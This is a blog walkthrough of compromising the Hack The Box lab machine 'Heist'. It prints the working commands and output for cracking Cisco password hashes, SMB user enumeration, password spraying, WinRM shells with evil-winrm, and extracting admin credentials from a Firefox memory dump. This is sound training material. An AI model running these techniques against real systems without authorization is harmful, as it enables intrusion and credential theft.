This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.
You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.
Hola Gente!
Today we are going to go over the steps I followed to get root on Heist, a machine on Hack the Box. Hack The Box is an online platform allowing you to test and advance your skills in cyber security.
Scanning and Enumeration
I kicked off my analysis by conducting a comprehensive scan of the target system using nmap default scripts:
TGT=10.129.96.157
nmap -sSVC -n -oA nmap $TGT
Key findings:
Visiting the web server on port 80 revealed a "Support Login Page" with an option to log in as a guest:
Logging in provided access to download a Cisco configuration file containing encrypted passwords.
Extract of the config File:
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
Decrypting Passwords
The configuration file included encrypted credentials:
Using an online Cisco Type 7 decryption tool and hashcat with the rockyou wordlist, I cracked the credentials:
hashcat -a 0 -m 500 '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' rockyou.txt -O
SMB Enumeration
Armed with the credentials, I tested SMB access using netexec:
netexec smb $TGT -u hazard -p stealth1agent
SMB 10.129.96.157 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
And then tried to do a little more enumeration with netexc and smbmap
netexec smb $TGT -u hazard -p stealth1agent --shares
SMB 10.129.96.157 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.129.96.157 445 SUPPORTDESK [*] Enumerated shares
SMB 10.129.96.157 445 SUPPORTDESK Share Permissions Remark
SMB 10.129.96.157 445 SUPPORTDESK ----- ----------- ------
SMB 10.129.96.157 445 SUPPORTDESK ADMIN$ Remote Admin
SMB 10.129.96.157 445 SUPPORTDESK C$ Default share
SMB 10.129.96.157 445 SUPPORTDESK IPC$ READ Remote IPC
smbmap -u hazard -p stealth1agent -d SupportDesk -H $TGT
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.129.96.157:445 Name: 10.129.96.157 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
I enumerated shares, noting accessible resources and potential avenues for lateral movement. A brute-force RID enumeration revealed several user accounts, including:
Administrator
Guest
Hazard
Chase
netexec smb $TGT -u hazard -p stealth1agent --rid-brute
SMB 10.129.96.157 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.129.96.157 445 SUPPORTDESK 500: SUPPORTDESK\Administrator (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 501: SUPPORTDESK\Guest (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 513: SUPPORTDESK\None (SidTypeGroup)
SMB 10.129.96.157 445 SUPPORTDESK 1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1009: SUPPORTDESK\support (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1012: SUPPORTDESK\Chase (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1013: SUPPORTDESK\Jason (SidTypeUser)
I created a users.txt and passwords.txt file and ran a password spray using netexec:
netexec smb $TGT -u users.txt -p passwords.txt --continue-on-success
And Success! I found valid credentials for user Chase:
With valid credentials, I confirmed remote access using netexec winrm:
netexec winrm $TGT -u Chase -p "Q4)sJu\Y8qz*A3?d" -X "ipconfig"
This granted me WinRM access, allowing me to execute commands on the target.
Exploitation
Using evil-winrm, I gained an interactive shell and extracted the user flag from the desktop:
evil-winrm -i $TGT -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'
Navigating through the user Desktop, I found and captured the flag. đ
Privilege Escalation
After capturing the user.txt flag and exploring the Desktop, I noticed that there was a todo.txt file:
PS C:\Users\Chase\Desktop>type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.
Done:
1. Restricted access for guest user.
After a quick run with winPEAS I noticed that there was a Firefox Creds DB file accessible.
I tried downloading which took me a while because I kept on trying and kept on getting a 0 bytes file. It turned out that I had to kill the Firefox process before attempting to download. I was finally able to download it.
I started trying to crack it, but I had a hard time finding some missing files that were required to crack the credentials.
It eventually turned out to be a 4 hour rabbit hole as this wasn't the way to escalate privileges.
Well, back to square one. From Chase's To-Do list he was supposed to check the current issues. Looking at the current processes the only thing that stood out is Firefox. There's a good chance he is the one thatâs using it.
Disclaimer: At this point I had to look for a hint. Forensics isnât my strongest suit, so I didnât think about exploring the processesâ memory.
Once I realized this was a potential avenue and learned about ProcDump.exe I uploaded and used it to dump Firefoxâs Memory:
*Evil-WinRM* PS C:\Users\Chase\Documents> get-process -name firefox
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1063 63 112688 201964 2.52 6440 1 firefox
*Evil-WinRM* PS C:\Users\Chase\Documents> $command = "C:\Users\Chase\Documents\procdump.exe -accepteula"
*Evil-WinRM* PS C:\Users\Chase\Documents> Invoke-Expression $command
*Evil-WinRM* PS C:\Users\Chase\Documents> $command = "C:\Users\Chase\Documents\procdump.exe -ma 6440 firefox.dmp"
*Evil-WinRM* PS C:\Users\Chase\Documents> Invoke-Expression $command
I downloaded the firefox.dmp to my attacker machine (after several tries since they all kept timing out) for further investigation. The dump was was almost 50 MB. At this point I didnât know what I was looking for.
Going back to the /login.php page, I checked with Burp Proxy request/response HTTP messages for a login attempt:
And noticed that the request parameter âlogin_passwordâ was being passed as a POST parameter.
I then used strings and grep to look for this particular string:
strings -el firefox.dmp | grep login_password
"C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
These credentialsâadmin@support.htb and 4dD!5}x/re8]FBuZâlooked promising!
Armed with the newly discovered credentials, I tested them for WinRM access as the Administrator:
netexec winrm $TGT -u Administrator -p '4dD!5}x/re8]FBuZ'
WINRM 10.129.96.157 5985 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
WINRM 10.129.96.157 5985 SUPPORTDESK [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)
And it worked!
And then got a Shell and a Root Flag with Evil-WinRM
evil-winrm -i $TGT -u Administrator -p '4dD!5}x/re8]FBuZ'
Evil-WinRM PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
Lessons Learned
Read and analyze all clues carefully (e.g., todo.txt).
Use get-process to identify active processes for exploitation.
Memory dumps often reveal sensitive data (e.g., credentials).
Avoid rabbit holes (DAH!); reassess your strategy if you get stuck
Evil-WinRM and Netexec are your friends
Call to Action!
Thanks for making it this far, If you're enjoying these and haven't joined Hack The Box yet, I invite you to sign up using my referral link. Trust meâyou'll get hooked! đ Until next time!
